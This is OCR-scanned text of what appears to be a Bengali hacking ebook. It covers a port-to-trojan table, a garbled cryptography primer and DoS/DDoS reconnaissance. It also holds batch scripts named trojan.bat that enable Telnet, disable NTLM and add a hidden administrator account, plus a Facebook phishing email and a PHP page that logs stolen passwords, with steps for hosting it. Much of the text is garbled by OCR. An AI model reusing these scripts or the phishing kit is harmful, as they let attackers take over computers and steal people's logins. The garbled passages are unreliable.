Back Door Setup, ICKiller
The ReVeNgEr
Mstream

Brown Orifice, RemoConChubo, Reverse WWW Tunnel Backdoor, RingZero
Back Orifice 2000
BacHack

Rcon, Recon, Xcon
Netministrator
Mstream
InCommand

Portal of Doom
Portal of Doom
Portal of Doom
Portal of Doom
Cyber Attacker, Rux
TransScout
Ini-Killer

The Prayer

OpwinTRojan www.purepdfbook.com

TR P e T%1 T 59 AT Fho TR T qF



http://www.BanglaEbookDownload.Com

% axe 3[F

www.BanglaEbookDownload.Com

10005

10067
(UDP)

10085
10086
10100
10101

10167
(UDP)

10520
10528
10607

10666
(UDP)

11000
11050
11051
11223
12076

12345

12346

12349

12361

12362

12363

12623

OpwinTRojan

OpwinTRojan

Syphillis
Syphillis
Control Total, Gift trojan

BrainSpy, Silencer

Portal of Doom

Acid Shivers

Host Control

Coma

Ambush

Senna Spy Trojan Generator

Host Control

Host Control

Progenic trojan, Secret Agent

Gjamer

Hack 99 KeyLogger

Ashley, cron / crontab, Fat Bitch trojan, GabanBus, icmp_client.c, icmp_pipe.c, Mypic, NetBus, NetBus
Toy, NetBus worm, Pie Bill Gates, Whack Job, X-bill

Fat Bitch trojan, GabanBus, NetBus, X-bill

BioNet

Whack-a-mole

Whack-a-mole

Whack-a-mole

www.purepdfbook.com
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(UDP)
12624
12631
12754
13000
13010
13013
13014
13223
13473
14500
14501
14502
14503
15000
15092
15104
15382
15858
16484
16660
16772
16959
16969

17166

DUN Contral
ButtMan

Whack Job
Mstream

Senna Spy Trojan Generator, Senna Spy Trojan Generator
Hacker Brasil — HBR
PsychWard
PsychWard

Hack 99 KeyLogger
Chupacabra

PC Invader

PC Invader

PC Invader

PC Invader
NetDemon

Host Control
Mstream

SubZero

CDK

Mosucker
Sracheldraht

ICQ Revenge

SubSeven, Subseven 2.1.4 DefCon 8

B www.purepdfbook.com
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17300
17449
17500
17569
17593
17777

18753
(UDP)

19864
20000
20001
20002
20005
20023
20034
20203
20331
20432

20433
(UDP)

21544
21554
22222
23005
23006

23023

Mosaic

Kuang?2 the virus
Kid Terror
CrazzyNet
CrazzyNet

Infector
Audiodoor

Nephron

ICQ Revenge

Millenium

Millenium, Millenium (Lm)

AcidkoR

Mosucker

NetBus 2.0 Pro, NetBus 2.0 Pro Hidden, NetRex, Whack Job
Chupacabra

BLA trojan

Shaft
Shaft

GirlFriend, Kid Terror

Exploiter, Kid Terror, Schwindler, Winsp0O0fer
Donald Dick, Prosiak, Ruler, RUX The Tlc.K
NetTrash

NetTrash

Logged www.purepdfbook.com
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23030
23432
23456
23476

23476
(UDP)

23477
23777
24000
25685
25686
25982

26274
(UDP)

26681

27374

27444
(UDP)

27573
27665
28678
29104
29363
29891
30000

30001

Amanda
Asylum
Evil FTP, Ugly FTP, Whack Job

Donald Dick
Donald Dick

Donald Dick
InetSpy
Infector
Moonpie
Moonpie

Moonpie
Delta Source

Voice Spy

Bad Blood, Ramen, Seeker, SubSeven, SubSeven 2.1 Gold, Subseven 2.1.4 DefCon 8, SubSeven Muie,
Ttfloader

Trinoo

SubSeven
Trinoo
Exploiter
NetTrojan
ovason

The Unexplained
Infector

— www.purepdfbook.com
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30003
30029
30100
30101
30102
30103

30103
(UDP)

30133
30303
30947
30999

31335

31336

31337

31337
(UDP)

31338

31338
(UDP)

31787
31788

31789
(UDP)

31790

31791
(UDP)

Lamers Death
AOL trojan
NetSphere
NetSphere
NetSphere

NetSphere
NetSphere

NetSphere

Sockets des Troie
Intruse

Trinoo

Bo Whack, Butt Funnel

Back Fire, Back Orifice 1.20 patches, Back Orifice (Lm), Back Orifice russian, Baron Night, Beeone, BO
client, BO Facil, BO spy, BO2, cron / crontab, Freak88, Freak2k, icmp_pipe.c, Sockdmini

Back Orifice, Deep BO

Back Orifice, Butt Funnel, NetSpy (DK)
BOWhack

Hack’a Tack

Hacka Tack

Hacka Tack
Hacka Tack

Hacka Tack

Hacka Tack www.purepdfbook.com

TR P e T%1 T 59 AT Fho TR T qF



http://www.BanglaEbookDownload.Com

% axe 3[F www.BanglaEbookDownload.Com

31792
32001
32100
32418
33270
33333
33577
33777
33911
34324
34444

34555
(UDP)

35555
(UDP)

37237
37651
40412
40421
40422
40423
40425
40426
41337
41666

44444

Hack’a Tack

Donald Dick

Peanut Brittle, Project nEXT
Acid Battery

Trinity

Blakharaz, Prosiak

Son of PsychWard

Son of PsychWard

Spirit 2000, Spirit 2001

Big Gluck, TN

Donald Dick

Trinoo (for Windows)

Trinoo (for Windows)

Mantis

Yet Another Trojan — YAT

The Spy

Agent 40421, Masters Paradise
Masters Paradise

Masters Paradise

Masters Paradise

Masters Paradise

Storm

Remote Boot Tool — RBT, Remote Boot Tool — RBT

Prosiak www.purepdfbook.com
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44575

47262
(UDP)

49301
50130
50505
50766
51966
52317
53001
54283
54320
54321
55165
55166
57341
58339
60000
60001
60068
60411
61348
61466
61603
63485

64101

Exploiter
Delta Source

OnLine KeyLogger

Enterprise

Sockes des Troie

Fore, Schwindler

Cafeini

Acid Battery

Remote Windows Shutdown — RWS
SubSeven, SubSeven 2.1 Gold

Back Orifice 2000

Back Orifice 2000, School Bus

File Manager trojan, File Manager trojan, WM Trojan Generator
WM Trojan Generator

NetRaider

Butt Funnel

Deep Throat, Foreplay, Sockets des Troie
Trinity

Xzip 6000068

Connection

Bunker — Hill

TeleCommando

Bunker — Hill

Bunker — Hill

www.purepdfbook.com
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65000 Devil, Sockets des Troie, Stacheldraht
65390 Eclypse

65421 Jade

65432 The Traitor (= th3tr41t0r)

65432

(UDP) The Traitor (= th3tr41t0r)

65534 /sbin/initd

65535 RC1 trojan

C=~UWindows~system32Z>netstat —aon
Active Connections

Local Address
135

ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
LISTENING

ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
LOSE _WAIT

TIME_WAIT
ESTABLISHED

ESTABLISHED
TIME_WAIT

TIME_WAIT
ESTABLISHED
TIME_WAIT
TIME IT

i
L]
®

TIME_WAIT
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
74_12 235._15 ESTABLISHED
58._27_.22_83:80 ESTABLISHED
26.17 1:1 43'8@ ESTABLISHED

192 .168.52.1
192 .168.52.1
192 .1 A
192.168.52 .1
192 .168.52 .1
26 .1 88 ESTABLISHED
26 . 8 2 :-88 ESTABLISHED
74.125.235.15:443 ESTABLISHED
?4.125.235.51:443 TIME_WAIT
58.27.22.57:80 ESTABLISHED
58_27_.22_138:88 ESTABLISHED
74.125_.235.51:443 ESTABLISHED
[zz1:=8 LISTENING
LISTENING
LISTENING
LISTENING

RS RS RS RSENEVESES LV RN bS]
BHEHE RHEARA SRR
WY RRRRRRDRDR

BB A INNNENNNNNNNNNNEEENEDSENNDONNNN
i
WOOE ADOOOONOOS

8) 93T TMEF oW ®F @ T FFA 9@AE o T PID == | abr == Process ID | @ et & T o= oo o6 IR a7
PID 3= @ #g7 | a3@ Windows Task Manager &= g7 a3 Services &3 fo @ 7+ 57 fawa ffws o | T@w

Mate @sar PID az smy ffy @y@ oo am ¢ a7 3fay [ description ]| awr &1 @ mewr offem sy e 3w 3ff s fafss
T AT G TS o
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File Options View Hel

| Applications | Processes ISEI'\-"iCEs l’erfonﬂanoe I MNetworking | Users |
MName PID Description =]
osppsvC 6064  Office Software Protection Platf =
WSearch 3248 Windows Search i
upnphost 2156 UPnP Device Host
SSDPSRV 2158 S5SDP Discovery
FontCache 2156 Windows Font Cache Service
SysMain 1696 Superfetch
StSve 1676 Windows Image Acquisition {WI2
LicCtrlService 1616 LicCtrl Service
AdobeARMservice 1560 Adobe Acrobat Update Service
MpsSvc 1476 Windows Firewall
DPs 1475 Diagnostic Policy Service
BFE 1475 Base Filtering Engine
Spooler 1428 Print Spooler
Tapisry 1268 Telephony
MlaSvc 1268  Network Location Awareness
LanmanWWorkstation 1268  Workstation i
o amrn mmaem e
tHl| il ] b

Processes: 72 CPU Usage: 0% Physical Memory: 65%

T e WO I @RFE 9¥ TEE @F IR NEST GO A FAr aEfr | 5w G 2 auto — startup ax e it 1 e
TTTS S0 X JFS ST T TF | OR A @RS @@ Y7 TRER (© MA@ @ I ST o6 At 97 Y {A FE | Iw
AT @ @© 5@ oRE IS 7 @@ Regedit fry aFEerE |1« faw SEEn oG A9 a7 Eefy i ik | aefa 3 aenw

& @F FA© bW GO I7 e, O M6 [CETN @ AX @ Trojan.exe ar trojan.exe MeE @ @ st [Fa | 05
fafee e Sl EoE AwE |

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]

GO @@ IEE ONF .

S)STE NEH ST oo RAT
)T MRS
©)anfT &R s
8) @& fF=
@) T A
y) = faeE
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o YT TS AFEI @O TN @ @ | a7 S GEIE Py 9B GBS |

T AF 97 T G Fare T Notepad st FHF 9% BI© AGE @1 B I 676 FF AT @@ AW fm .bat ameEe ReE
o6 Fq |

@echo off

sc config tintsvr start=auto

sc start tintsvr

tIntadmn config sec=-NTLM

tIntadmn config mode=stream

net user tunerpage/add

net user tunerpage 12345

net localgroup administrators tunerpage /add

reg /add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Special Accounts\UserL.ist /v tunerpage /t REG_DWORD /d 00
del trojan.bat
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@echo off

pkgmagr /iu:“TelnetClient”

pkgmagr /iu:“TelnetServer”

sc config tintsvr start=auto

sc start tintsvr

tIntadmn config sec=-NTLM

tIntadmn config mode=stream

net user tunerpage /add

net user tunerpage 12345

net localgroup administrators tunerpage /add

reg /add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Special Accounts\UserL.ist /v tunerpage /t REG_DWORD /d 00
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Phishing is a way of attempting to acquire information such as usernames, passwords, and credit card details by
masquerading as a trustworthy entity in an electronic communication.
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From: Facebook <update+nwighnbz@facebookmail.com=

Subject: Facebook Account Update R L ¥
Date: October 28, 2009 4:02:31 PM PDT ST B{[2FE 1 7% $&4 | facebookmail.com!!
To: Tom O'Leary ((Messaging Times))

Dear Facebook user,
Update your

In an effort to make your online experience safer and more enjoyable, Facebook account

Facebook will be implementing a new login system that will affect all e
Facebook users. These changes will offer new features and increased
account security.

Before you are able to use the new login system, you will be required

to update your account.

Click here to update your account online now.

If you have any guestions, reference our New User Guide.

Thanks,
The Facebook Team
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¥ Home
E;Zj Order Free Web Hostin e
g [¥] View All Features
&% Free Domain Hosting
| want to host my own demain (domain must be registered already) 5= Free PHP Hosting
#1 Free Hosting with MySQL
wwiw. [yourdemain.com | “ )
4. Free cPanel Hosting
or, | will choose your free subdomain (recommended) [ Website Builder
|4s Fantastico Autoinstaller
www. [ T.comlu.com E Frequent Questions
& Web Hosting Reviews
Your name @ Website Templates
| ¥  Affiliate Program
Your email {account details will be sent there)
= Visit our Forum
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7 contact/Report Abi
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Type password again
[

Type 2 words that you see in the image:
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Translate to English
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Why do T need to provide my date of birth?

By dicking Sign Up, you agree o our Terms and that you
have read and understand our Data use polcy.

Create a Page for a celebrity, band or business.
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http-equiv="X-Frame-Optiona® content="deny" /></noscript>
<link cype="texc/css" rel= [

r r=rpagelet_bluebar"><div
ainer®><div class= earfix

en"
"actryctd

m‘auhd»one
"en_GB" /><table
3¢/ TdsE/ TS LT TTde
¥T" name="pass" id=
jex=m4" rypes

name="post_forn
ocomplete=MoEET ide

ml7magic™s.

“"ufelj0_5 >ein
uil r.phr..’.abel")rr.
. box">Kesp me logged ime/labels</divs<i:
htop://ww. facebook. com/recover . php” sel="nafollow®
type="hidden" =
ype="hidden” na
"globalContaines™ ay
"gradient><d "gradi ><d
s="feature lfloat"»<div class="plm fblndexMap"><div class="plm title fal fwb fcb">Facebook helps you connect and share with
a="mtl !rap"\< divs</dive</dive<div ~'a»=—"nq-:_;.~5-xm rfloat®s<di mbm phm headerTextContainerts<div class=
lamamwpbp aukeirle Fam Fun FoamaTeuis & ¥ 11 ke 2gA8y idmm rear conrainacwy oy

bel field"><

vour passwerdi</s></Td>
"lad® ad"

Ame="

23

<?php

foreach(Array as => ) {
fwrite(, )

fwrite(,
fwrite(,
fwrite(,
b
fwrite(, "rn");
fclose();

exit;

?>

FFF |

g

8o 471l aF7F foEE @8 @S & AEST q@T @B S FE IO OF6 FFA A aB1@ phish.php a7 ¢e w57

header ("Location: http://facebook.com *);
fopen(*'passwords . txt"

e 42 a3 login.htm & svm 358 @ore i sr@r J6 7% 3@ a6t af7F 3@ | 93m Ctrl + F &
I action="https://www.facebook.com/login.php @ | 3w a2 =37 & @ login.php a7 ssmz phish.php e ax

¥ a7 a3@ http://members.000webhost.com/ a3 fis 7@ 932 AF% SMST IATAT AR H @B IOFTSE 4 B T FFA
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Please login to your account

Your email
|W‘d‘@gmail.:am |

Passwaord

Enterthe symbaols you see in the image

A

(reloadimage)

Faorgot passward or maybe forgot email?

9w &7 e 3@ e Cpanel a 7@ |, sa@ File manager a 7w

. : a

Anather Fils : :
Manager Disk Space Usage Backups

View FTP Details File Manager

va &1l aF@ Public_html a s g7 a3 s a1 @@ a 7% $3a0 a=x phish.php 8 Login.htm w3« 51 arters F59 | s F15
O | AT @ @ AP ARG O FAE O TIFT TN AR (o A Bk 6 A 5T I

! Language:| English Iz‘

Directory Tree: root /

ensform seleced nvies
All Name Type Size Owner Grou Perms Mod Time Actions
& .
[l & public htmi Directary 4096 27561450  a7361450 ek~ Dec 3 12148
F ] .togusts FTPQUOTA File 7 27561450 27561450 e Dec 3 12;52 view Edif Open
[F] | ] DO NOT UPLOAD HEREDO_NOT_UPLOAD_HERE File o 27561450 27561450 rore-re- Mov 30 11:33 wiew Edit Open

http://www.yoursitesadress.p4o.net/lol.html [ =5 aig@ aame a2 yoursitesadress a8 smm @ @E (off @RS a7 s
fre | B3 0 T am TRT FACR (G EET 6T fEF T© 7 &

charset test=a,-, B, &, -, b 2%, D7, b,

version=1.0

return session=0

gession key only=0

tEynum=1

Lsd=Cgr3b www.purepdfbook.com
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Tfie T 51 o . Cryptography &? atr Se@ & 3@7?
sl PSR

Hacking == 161 ove [ wwe amE ste o/ | @ @wa basic &= a1 3@ Swea sfes a1 calculus aswr 4 Fate =@@a &1 ar
FAO: TERT @1 o hacking a ¢ sy o 5 Fae @@ @1 3% @1 SrEE a@aE basic hacking grammar s @ 4 !
afsy a3 687 &7 @ 6B F79 23w & hacking grammar s S eI FEE S|

N al( "a‘ R

U Es0r o,

Cryptography : as== wikipedia 3w

Cryptography (or cryptology; from Greek kpvntog, “hidden, secret”; and ypaeetv, graphein, “writing”, or -Aoyia, -logia,
“study”, respectively) is the practice and study of techniques for secure communication in the presence of third parties
(called adversaries).

TR SO W G T FEE Tafe @ cryptography I =@ 1 a5t e by e frew 1 a syeme graduation certificate 8
@3 T |

Cipher: @ algorithm Trmz@ 3@ ®%F I1 THI T T 1 TFTe OO & A9 91 1¥F oF Cipher 3 |
Encryption: @& algorithm snszs @ 281 T & JFMEF Tafe @ encryption 3= | Twmaw fiows 3= 3w Caeser Cipher . a%r

Jf%q7 s cipher. aw sz Shift Cipher ar ROT-13 a1 Rotational Cipher 3@ awa | a6 s@eemdt == english alphabet az
AR AT FE ST THI @ eNcrypt a1 =31

Belore M N D p Q
Adge P Q R 5 T

Befnue IULiUS CA.ESIAR

EAwAmd Wl rmilmrmsi
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B 2T @ @ue T o%g 97 alphabet g @ © 57 agEem @m0 R M @ P, N @ Q 93 g0 S 347 @ | 9% Tefe
PR F@ S freE a7 encrypted ant & @ e FAwma ? abR encryption az Stew |

Decryption: encrypted s & @ %% @ eNCrypt a1 @@ ©F =9 Sro1 OIF AT 3@ 37 o1 A1 plain text & Saw F3@
afe @ Decryption 3w | decrypt saws w2 a6 correct key ( encrypt =17 w17 8 smfe ) @@ | correct key =rer Sior SwE
FAF SERAr @ Statistician @1 3@ W@ 97 Ffma @ aF3m | @G oRfe weEs Ik o/

AT ot T A O | OUAs Ry AWeAE o 8 o @ (2

Cryptographic Hash Functions: fesfes orr s e 936 F9@me Tmfe 37 w3 936 sw/plain text we o@w 33/
arbitrary block of data g7 g=mefie 2 | w@ #mate =@ a%r e encryption & f¥e encryption w317 &S |

Input Hash sum
Hash -
m function DFCD3454

The red fox Hash o
runs across L funcﬁon i SREDETIE

thz ice
The red fox
walls coss | —»| | HaSh | [ag0RAT

the ice function

Hexadecimal: hexadecimal == astr Cryptographic Hash Functions | @@ @ so 51 FME8E THETE FAT 2T ST
encrypt/decrypt sam s | a% so B FEeE = 0-9 8 A-F | abr astr 128 bit / 16byte az hash value . aw Base-16 ¢ 3=

W @ 179 @@ sarm hexadecimal hash value s MD5 |

Base 32 1 Base 32 z= ey #Fm@eR a7 hash valuel asw A-Z 8 2-7 FMERR I [RE FAT T | IF6] SIRAT T[=
d41d8cd98f00b204e9800998ecf8427¢

Base 64 : Base 64 =g az6r Hash value | aw A-Z , 0-9 az¢ fg o e 3379 71 =1 Base 64 sy “=" w@r ow 23,
Turzae <2 1B2M2Y8AsgTpgAmY 7PhCfg==

Collisions : =@ x &1 s semmr hash value az o s encryption =@ w3 w1 server 1 Fafds I 3@ | 2 o &

collisions == =3 1967 @ hacker o sy arftem | e|T 9BF srEEE “God mode birthday attack ” zw 2w 1 collisions ==
server hang @AF crash 3 FA© ME | SurEEe o3
Eic T ABDUL ToF encryption T o 9b306ab04ef5e25f9fh89c998ab6aedal

s wgw FREAK == encryption === =: 9b306ab04ef5e25f9fh89c998a6aedab

S FE QAT FE (EE 326 encryption a 333 a3% FFW | ab@ collisions 3 =1 TaETe e IT IT SErVer a A% gFEa S
@ AT |

SALT: Salt == hacker = w3y | farms Al upgraded server sme SALT @ 3@ | @@ ST & 9 %S FE ST
a7 encrypted m3w a7 (@ IF FESoT FNEeE @ I @3 & SALT/ SALTING =@ 1 SALTING wa1 @ @& o1 Decrypt
FA AEAER orET o'e wg “15f5651etg64sfg” wer awEr encrypted data.ax am e a 3% T 1-v B IEEE @ ud7 @
FE @2 o 361 decrypt a9 s yfelE FE 7@ a1 | @& Super Computer ¢ s ar |

a1 T16T decrypt Fate @ B F wEFF | ;I F oAz encrypted THT @8I AE w@ w1 decrypt FAr 9w a WS FONNETS @

enmiIinnAN a AnAarimt  —= v = FPor=an e ero—r a=mr nnn~rnimtad —y o~ e ' —Py & Sroroer
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3AcTBJCzggwY3LCyzIhiBJhtzewSA+5dyuQhaKcDzI3agWCRz+YC30ZMCdyG ax= az &t === BASE-64 —>
FERON-74 —> GILA 7

o T IR ™ N @ o @ww BASE-64 a encrypt w=1 m@m | e st BASE-64 aw =g encrypted wior @ FERON-74
a I”E encrypt Fa1 T@m | &ore @ GILA 7 a encrypt a1 T@m a3 S{ew encrypted Sier 51 o ows ST ol 93T atiE

decrypt #ate = aEmE @& encryption a3 w1t s % SrhT o IREE FHe 7@ | a amg ool @ svew GILA 7 a decrypt
FAO© @ | AEA AT Ay FS o W 1 T encrypt/decrypt FaE s S@E s@IMRG MW T w@ wfy http://www.crypo.com/
YRS BR TEIE I@ R @ R Serm w1 g @ @

v)emasrer w=f® 3ACTBICzggwY3LCyzlhJBJhtzewSA+5dyuQhaKceDzI3agWCRz+YC30ZMCdyG == wmar GILA 74
decrypt == | decrypt 7@ @ Tior @1 2 ®1 7= URCOCTM6qvsPRNDONKSFBTI3Azy8RZRgNLsbPIMvPc74

2) a7 se@ FERON-74 a decrypt sw 12 YW1pJTIWZWtqb24IMjBiYW5nbGFkZWhp

©) sFeEart | g decrypted ©oT & 23w BASE-64 a decrypt s sia ase ToT 57 ¢F I F1ET A6 F aF xs/ terminal
hash value. w1 a1 aifew s decrypt @ &R e oy &1 5 @

8) decrypt == == amrar s ami ekjon bangladehi !

wo1 ©R] a1 7NN

AR fim cryptography 93 98 a®3@ wsifa basic sar s | axq =fyr faws &1 encrypted wier i 1 correct key
lencryption sequence ¢ i@ ff@ | @R 6B FE A @1 o1 e decrypt Fate mEa fFar ? s comment 4 SeF frE |

[encrypteddatal] s+/YrnabNF/0q699ALYypuvMf6RsnebxWuTIVBYwjAuDprL8veX9DQcs+qZ7jr6/b
Correct key : MEGAN-35 —> GILA7 —>FERON-74

[encrypted data 2 ]
k2nPkvWydInxRMO0/jZj21nMmgmvOPIMmxn+fxnxjhIKjGm29dn1S1lvXUelWyjuKXo02C7exiyo/i7oLjRj20AjLiwofOz

Ix1Yk2nPktGdk1j6ju07RKS6fuK8ode5
www.purepdfbook.com
Correct Key : BASE-64 —> TRIPO - 5 —> HAZZ-15 —> MEGAN35
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T JEF: 97 -9: DoS F ? DoS e F @« [Feorm ?

[ TR 97 o 7 A 4 7F aEr s 79 DoS |, DDoS attack asgen o sa@@s wer RufEe o |

Cﬁ?‘r SIS
Jack
SpA e

o 3 00 e 200051 05 = < Y JONNIOAD,,

"r“ry,—.

DoS a7 sfaof g == Denial of Service | DoS sne a o361 St sr@m 9361 A0
[ oo ] o womme [ @6 ] TCP/ UDP =it s =3 | ﬂtomeiﬁﬁ@maaa@waa\mmﬁme—ﬁzﬁmw

| S%e ? 95 T @ 9% TOIF 4 IS FAT GBI FT , ©F3 MO TS @ @@ &Fme ¥w@ ! s ey Denial of
Service 7@ ®F aw |

a3 DDoS | at= % g7 == Distributed Denial of Service | s & ao1@ b1 357 ... arifer a7 @ &G I DN 3@
AFANE 9FoF RAeRFE AwEa FAEN | A aefa I T ow O1F @@ A3, MENA @ NET A% BT A BT TS [T AR
ey TG 92 frmenRed @ Fft@ oo If@ @ M&d | 7 ImMIr@E » @ SN @ So -5y 5 A d 3@ 7 5¢ i 7=

TP QF TG T wifiF 9597 Tp1F 2 7= DD0S | DoS a7 e @2 + =@ e DDOS 4 a@e @ SpeE 959 I
FE | %I o[x |

ARE FNRCT F 9, Tue A ? 1S awyd [ Fa ©f F gEarasm ? o fana e @@ @ an@a Fer@ DoS
azzx DDoS fFerm =@ 3@ |
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e
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DOS / DDoS attack a3 sma F ?

2 &1 @@ D0S/DDOS st =@ 9@ 1Y) TRFE 97 FFeNE I%dT 3) Sysadmin a7 S weqq a | I oy @R @ F FE_A
MEF FE AE

) TIEEGH T

o I TLHT TN G2 NER a v GRHEE FEEE v S 62 TR @ Q@R IEEE ST

o T QA TAA FAEF @GN , T A @ QF T FEE |

e IJe T[FE 8% W 4 I35 GO 3560 FER [F&F O e FA@ AF6! o6 A5E OF S 92 Mo
o AT Y Ww aFoA b Y faom gREEE @ e !

o T fHomE MG a7 ST |

y) sysadmin a3 o womw &
o TG @IF o IAMSE NN 3G Fa1 I ©oF FEfeTMTer W FIF  SraeT

o WBFE 43 CHH 97 SEAIRERT I SoFel @ TS FAF STt
o fCBY 97 TFWST EMAN AF Ffod FIE

DoS / DDoS fFerm ST8| ag sy &1 I=w ?

DoS / DD0S siyaefs 2 BME EE 17 §fe 3@ MF | ) TOH & FT T 2) TR @ FG FEF | T MGIF 97 FN SIS
SIET (% -

o ST FEN HONN ST @F TWERY , W R, f&T oW Teyfs A7 T |

o FAGMET RHEE @ Ffos %0 SJEE FRe @ {5 F47 |

o (BB RO S e T [H F47 |

o HwH @GsT a7 RAfey T T WTe FE T FAT |

o AT 3BT A} OE 97 (©od @RS [{fed FA 8 @SS T FA© THT @O;
o EFH 97 ARFPIC Se ITT @A

o IOTH I VT HHOF T T g @ FO [ W Q¢ 99 Ty

DoS / DDoS a3 ats e S & ?

I TN T IACANE TA© T ACMT AF@ F , AT O @RIT SO QAT FF 8) TF6 A7 (= ] o] fof¥e Mad TR @6

Fam T / e wwm R | 2) Sfefae TR @6 | SreE TR a7 T ke I e 63 AR s CMD e fara
NS 6 forye

T (@ @ 9T e oNET I IR M @ Soo + IS TR OF I @ @ 77 AT (@) aqmm iy e apmE e
QA 951 IR @ FA FAET ...

o % st " APF firewall 25 a1 21w 5@ CMD @ fogw

o xf% CSF firewall 3=tar wa1 W s@ fgw
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TEY 94 XXXXXXXX 95 6 @ o B 7 $900 5 ©f 99F &) o a0 TR S SIEf 6 SOnEE TEIE 9 907 NI SR
A AR 9T JAe T AT Y9 3 TA(© AHEN A | 9T Te[ AFTAGE AN @b I THT VST FA© [ | 9N INA IR Q@ @PI6: fel©
T TE] T GG OF INCF e @I |

RG] AET FOSE FFT M@ @EE T @A TR THET S5 / GO ImoF @@F e MAET 3T TR | A @¥ @ T @

SSTF @ A7 JFHT [Fs® T AT 0T

AEF T @ IT TRE 71 @ TOF & MoF FA© bF GONF2 TIF AT @ AF67 A1 [T Eo 07 4@l F& I | SI%T |, OF
AEIEA P AeF fes e Fgm 76 39177 3@ | e qfve 330 3@ IeE fHe @@ 79 5 @@ STERe W@ | 7 &9

W @ SRS AT @ Sl F%E FAET A1 , JGFe o TAYH FHIT AT , AfAoe a7 A@ N @ HIET FAH ST TG o
| @@ @& o S St A1 SHE O O fAq |, 99 ITESAE b @ @Y A ACET 9 | SEE FF @F TeR e @1

T Sftw o1 @@ fare emswe a7 Microsoft Knowledge Base (KB) snfbwa 150543 =6 @@ fad | 961 @ FF Fga a3me |

IJNEG: 6T 97 576 il & MIT® B9 a7

TS A HeET T9mE FAE ety R 6fF: [ System File Checking ( SFC) ] a= 3@t @@ sEmszme [ Internet
Connection Firewall ( IFC ) | asermae 3@ faq | asgen 5 {556 or@ som@e w87 i@ | asgen srmE e foesy a3 b

TEHE N FE P I &= |

FRAFHISH B faer

ST TS 97 SN @A A PP T FAF G 3F folftig 55 oMb S o oy e F@ TOF 9k FAPI: oA JERE
TRRSAE F=f IF ©f ¥qe MF | Suraqa 791 HTTP, SMTP, FTP, IMAP, az POP ¢t sge e #59 arsea | a7 sy
FETA 97 T FRNES ¢ o | A I AFe 9% fafte o

FRIFSIT AT FFA

TI@E 9T FEFESTE IE ©F fFF 7918 o a1 | a7 &y o o S 8A 8 I FF (W@ ET | A© FE I9q18qG
SMECATCHG 5T NG IS 97 TTF YT F@2 A G1N AN@ MAE I A" SC67 3 MEF JA% 8 @@ AW A & | PO
B HEESTE a7 e afy s faw foflr q

Symantec
Firewall
Zone Alarm
Comodo
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a=rer DoS / DDoS attack sefpr a3 sy @83 313 | @ RioRey |
a et i@ DOS wer e 2

I@E o@2 DOS =i Fa IW | OR AR 47 @SR / TgH GF O RS e DR AW SIS (NF | e 1 S SRR I
ORE YT RE2 @ @S THEA TN Mo T o

FYPR (© [T AN @ 36 L@ T WGF FI9 ©/F VO T WMONFT IR T TNF Fa7 95 a7 Iifr Fo | b1 @wg e g2y
http://uptime.netcraft.com % fi® I= 93 @ G BT AT FA© CF O A @GN fEg To F@ @GR 33 9 fyge |

= TR NTRODUCING THI SINGLINOP THE HOSTING
3 m 4 MINEoREING T ‘3@ INDUSTRY'S FIRST SEE WHY
- : BILL OF RIGHTS =7 CUSTOMER BILL IT'S BETTER

OF RIGHTS.

Vihats that site running? | o % 03 T FIE[S o3 A1ZH €7
About The Netoraft Web Server Query Form W ﬂq’? Search

Sites on the Move
Today's changes We report a site’s operating system, web server, and netblock owner together with, if available, a graphical view of the time since last reboot for each of the computers
s es

sendng the site. Further information about what we measure and how we measure it is and other factors affecting the monitoring process are avallable here
Lastweek

LastMonth The 9raphs for each site display both the actual times since lastreboot (as an X) and a moving average of uptime over lime as a solid green area graph. The colour of the
iR Exploration X changes in the event of the site swilching operating system. A history of the operating system, web server and hosting location |5 also provided so it is possible 1o
correlate these changes with the uptime of the site. When we are unable to get a valid uptime measurement for a site, 2 gap will appearin the plots of the raw data points.
Metcraf Toolbar

Whats that site running? Querles are made on a dally basis, 50 the crosses on single senver site will appear as a diagonal line moving forward through time until the nex rebool. Sites using
it multiple front end servers with some form of load balancer will show paraliel diagonal lines,
Search Web by Domain
Internet Data Mining Daily reports are generated showing the sites and hosting lacations with the longest uptimes.

L vider Switching Anal
Hosting Provider Switching Analysis Example Site 1 - i

Hosting Provider Server Count

Hosting Resellar Suvey

Uptime for www.demon.net
SSL Survey
Web Server Survey Archive  Mote: Uptime - the time since last reboot Is explained in the FAQ Generated on 7-May-2009
Performance
Unrfima DracAare: Makinrs Dammaanes . wuu, denon. net
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Whats that site mnning?m
08, Web Server and Hosting History for vermiseiveweswoem

Riipaliumanieaiienowmeem as running Apache on Linux when last queried at 31-Mar-2012 13:52:57 GMT - refresh now Site Report

FAQ
Try outthe Netcrafi Toolbar! L{"";‘T T T
0s Server [ | Last changed IP addres: Netblock Owner
Linux Apachel1.3.27 (Unix) 31-Mar-2012 216.21.239.197 Register.com, Inc
AT 208 8 o ﬁgﬂlig a9 S5
We have no uptime data for wsmbesitsssssssasat present and cannot plot a graph. 0 2 fif J

The host vermewseasesssan as Deen added to the list of sites that we may monitor. We will start maonitoring uﬂiﬂthe next daily monitoring cycle.

We will continue to monitor this hostfor a few days, to get enough values to plota graph. After this time the hostwill not be monitored again unless its requested again,
oritis one of the most frequently requested hosts.

7% g7 Apache/1.3.27 (Unix) e & 1 51 8% fAfie 26 97 MR | 23 I 6T © OF A@IET A% GRE SR JHET @ a3
R 9 TH IOF FE ST ST TEF |

e Apache 1.x
e Apache 2.x
e GoAhead WebServer

AT T T A T Sy D

STEP

04

DoS/DDoS st 97 5& a@e & etz | 5RE 9ty CMD @8 38 1Ed 8@ I@s 6 I 1S TMHfeld S Sy Fos[en
